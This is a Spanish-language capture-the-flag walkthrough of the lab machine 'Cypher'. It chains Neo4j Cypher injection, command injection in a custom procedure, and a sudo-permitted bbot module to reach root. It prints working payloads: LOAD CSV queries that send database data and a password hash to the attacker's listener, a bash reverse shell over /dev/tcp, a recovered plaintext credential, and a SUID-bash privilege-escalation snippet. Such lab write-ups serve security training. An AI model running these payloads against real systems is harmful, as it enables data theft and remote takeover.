Vemos 2 archivos principales, un HelloWorld que no contiene nada relevante y CustomFunctions que contiene código muy interesante:
Este código confirma un command injection.
Normaliza la URL (añade https:// si no está presente).
Construye un comando con concatenación de strings:
Lo ejecuta con:
Usar Runtime.getRuntime().exec(String[]) con entrada del usuario sin sanitizar permite Command Injection.
La siguiente línea:
pasa toda la entrada del usuario directamente a la shell (sh -c), lo cual es un patrón clásico de vulnerabilidad si no se escapan ni validan los parámetros.
✅ Ejemplo de payload malicioso:
Este payload ejecutaría:
Esto hace que se ejecute un segundo curl que envía la salida de whoami a un servidor controlado por el atacante.
Testing web
Capturamos el request de login con BurpSuite y vemos que los datos se envían como un JSON a través de la api:
Probando alguna inyección SQL nos devuelve un error en el front que nos indica la presencia de una base de datos cypher de neo4j:
Est confirma una inyección de Cypher (Neo4j) en el backend. El backend construye las consultas Cypher dinámicamente con los valores que le envíamos, y no está sanitizando correctamente las comillas.
Captura de login
Al capturar un intento de login con BurpSuite observamos que los datos se envían como JSON, por lo que podríamos probar ahí el Command Injection:
Sabemos por el traceback que el backend construye una query similar a esta:
Nuestro objetivo es cerrar correctamente la condición u.name = '...', romper el flujo original, e inyectar nuestro CALL a custom.getUrlStatusCode() con un payload de RCE.
Enumerar versión
Usaremos el siguiente payload:
Funciona! Obtenemos la versión de Neo4j y el tipo de Kernel community:
Enumerar los labels
Tenemos el label USER:
Enumerar la propiedad USER
Vamos a cambiar un poco el enfoque. Abriremos un listener de Netcat para recibir los resultados:
Y usaremos el siguiente payload:
Eso nos devuelve un nombre de usuario: graphasm
Extracción de hashes
Usaremos el payload definitivo:
Y nos devuelve el hash del usuario:
Este hash no se puede crackear fácilmente, por lo que modificaremos el payload para conseguir una reverse shell.
Reverse Shell
Abrimos un listener de Netcat por el puerto 4444
Payload
Recibimos la shell
Enumeración interna
Enumerando el objetivo no podemos acceder directamente a la user flag, ya que pertenece al usuario graphasm, pero en su directorio home encontramos unas credenciales:
User flag
Al probar las credenciales encontradas con el usuario graphasm por SSH conseguimos acceder!
Tenemos la user flag!
Escalada de Privilegios
Enumeración de Privilegios
Vemos que este usuario graphasm puede ejecutar la herramienta de bbot, una conocida herramienta de OSINT y enumeración.
En principio no obtenemos información relevante. La herramienta de Bbot permite construir módulos custom en python, con lo que podríamos modificarlo para convertirnos en root:
sudo echo "10.10.11.57 cypher.htb" | sudo tee -a /etc/hosts
sudo nmap -v -sV -T5 10.10.11.57
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
public class CustomFunctions {
@Procedure(
name = "custom.getUrlStatusCode",
mode = Mode.READ
)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
url = "https://" + url;
}
String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
MATCH (u:USER)-[:SECRET]->(h:SHA1) WHERE u.name = '<username>' RETURN h.value AS hash
{
"username": "' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://127.0.0.1/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // ",
"password": "x"
}
{
"username": "' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://127.0.0.1/?l='+label as l RETURN 0 as _0 //",
"password": "x"
}
message: Cannot load from URL 'http://127.0.0.1/?l=USER': Redirect limit exceeded ()
nc -nlvp 4444
{"username":"' OR 1=1 WITH 1 as a MATCH (f:USER) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.4:4444/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //","password":"x"}
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.57] 50642
GET /?name=graphasm HTTP/1.1
User-Agent: NeoLoadCSV_Java/17.0.14+7-Ubuntu-124.04
Host: 10.10.14.4:4444
Accept: text/html, image/gif, image/jpeg, */*; q=0.2
{
"username": "' OR 1=1 WITH 1 as a MATCH (u:USER)-[:SECRET]->(h:SHA1) LOAD CSV FROM 'http://10.10.14.4:4444/?user='+u.name+'&hash='+h.value as l RETURN 0 as _0 //",
"password": "x"
}
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.57] 45448
GET /?user=graphasm&hash=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1
nc -nlvp 4444
listening on [any] 4444 ...
{
"username": "' OR 1=1 WITH 1 as x CALL custom.getUrlStatusCode('http://127.0.0.1; bash -c \"bash -i >& /dev/tcp/10.10.14.4/4444 0>&1\"') YIELD statusCode RETURN x //",
"password": "x"
}
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.57] 51352
bash: cannot set terminal process group (1449): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$ whoami
neo4j
neo4j@cypher:/$ cd /home
neo4j@cypher:/home$ ls
graphasm
neo4j@cypher:/home$ cd graphasm
neo4j@cypher:/home/graphasm$ ls
bbot_preset.yml
user.txt
neo4j@cypher:/home/graphasm$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
cat bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
afsh4ck@kali$ ssh graphasm@10.10.11.57
The authenticity of host '10.10.11.57 (10.10.11.57)' can't be established.
ED25519 key fingerprint is SHA256:u2MemzvhD6xY6z0eZp5B2G3vFuG+dPBlRFrZ66gaXZw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.57' (ED25519) to the list of known hosts.
graphasm@10.10.11.57's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)
Last login: Sun Jun 1 13:34:51 2025 from 10.10.14.4
graphasm@cypher:~$ whoami
graphasm
graphasm@cypher:~$ id
uid=1000(graphasm) gid=1000(graphasm) groups=1000(graphasm)
graphasm@cypher:~$ ls
bbot_preset.yml user.txt
graphasm@cypher:~$ cat user.txt
7b9e5118acc395843ed098*********
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
from bbot.modules.base import BaseModule
class whois(BaseModule):
watched_events = ["DNS_NAME"] # watch for DNS_NAME events
produced_events = ["WHOIS"] # we produce WHOIS events
flags = ["passive", "safe"]
meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
options = {"api_key": ""} # module config options
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True # only run once per domain
base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"
# one-time setup - runs at the beginning of the scan
async def setup(self):
self.api_key = self.config.get("api_key")
if not self.api_key:
# soft-fail if no API key is set
return None, "Must set API key"
async def handle_event(self, event):
self.hugesuccess(f"Got {event} (event.data: {event.data})")
_, domain = self.helpers.split_domain(event.data)
url = f"{self.base_url}?apiKey={self.api_key}&domainName={domain}&outputFormat=JSON"
self.hugeinfo(f"Visiting {url}")
response = await self.helpers.request(url)
if response is not None:
await self.emit_event(response.json(), "WHOIS", parent=event)
import os # Al principio
os.system("cp /bin/bash /tmp/bash; chmod u+s /tmp/bash") # En setup()
whois.py
from bbot.modules.base import BaseModule
import os
class whois(BaseModule):
watched_events = ["DNS_NAME"] # watch for DNS_NAME events
produced_events = ["WHOIS"] # we produce WHOIS events
flags = ["passive", "safe"]
meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
options = {"api_key": ""} # module config options
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True # only run once per domain
base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"
# one-time setup - runs at the beginning of the scan
async def setup(self):
os.system("cp /bin/bash /tmp/bash; chmod u+s /tmp/bash")
self.api_key = self.config.get("api_key")
if not self.api_key:
# soft-fail if no API key is set
return None, "Must set API key"
async def handle_event(self, event):
self.hugesuccess(f"Got {event} (event.data: {event.data})")
_, domain = self.helpers.split_domain(event.data)
url = f"{self.base_url}?apikey={self.api_key}&domainName={domain}&outputFormat=JSON"
self.hugeinfo(f"Visiting {url}")
response = await self.helpers.request(url)
if response is not None:
await self.entityEvent(response.json(), "WHOIS", parent=event)